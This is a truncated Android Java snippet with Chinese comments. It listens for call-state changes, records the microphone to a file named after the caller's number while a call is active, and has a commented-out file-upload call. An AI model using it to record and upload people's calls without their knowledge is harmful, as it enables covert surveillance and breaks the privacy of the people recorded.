//取得电话管理服务
		TelephonyManager telephonyManager  = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		
		telephonyManager.listen(new phonelistener(), PhoneStateListener.LISTEN_CALL_STATE);

 

 

private final	class phonelistener extends PhoneStateListener{

	private String incomingNumber;//来电话吗
	private MediaRecorder mediaRecorder;
	private File file;
	@Override
	public void onCallStateChanged(int state, String incomingNumber) {
		try {
			switch (state) {
			case TelephonyManager.CALL_STATE_RINGING://来电状态
				this.incomingNumber = incomingNumber;
				break;

			case TelephonyManager.CALL_STATE_OFFHOOK://接通来电状态
				file  = new File(Environment.getExternalStorageDirectory(),incomingNumber+System.currentTimeMillis()+".3gp");
				mediaRecorder = new MediaRecorder();
				mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//录音麦克
				mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
				mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
				mediaRecorder.setOutputFile(file.getAbsolutePath());
				mediaRecorder.prepare();//准备就绪
				mediaRecorder.start();
				break;
				
			case TelephonyManager.CALL_STATE_IDLE://电话空闲状态
				
				
				if(mediaRecorder  != null){
					mediaRecorder.stop();
					mediaRecorder.release();
					mediaRecorder = null;
				//	uploadFile();//上传文件方法
				}
				break;
			}
		} catch (Exception e) {
